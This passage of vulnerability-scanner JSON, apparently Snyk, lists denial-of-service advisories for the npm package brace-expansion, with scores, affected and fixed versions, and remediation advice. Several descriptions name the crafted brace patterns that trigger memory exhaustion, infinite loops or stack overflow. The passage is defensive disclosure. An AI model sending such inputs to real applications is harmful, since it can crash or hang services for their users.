exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- 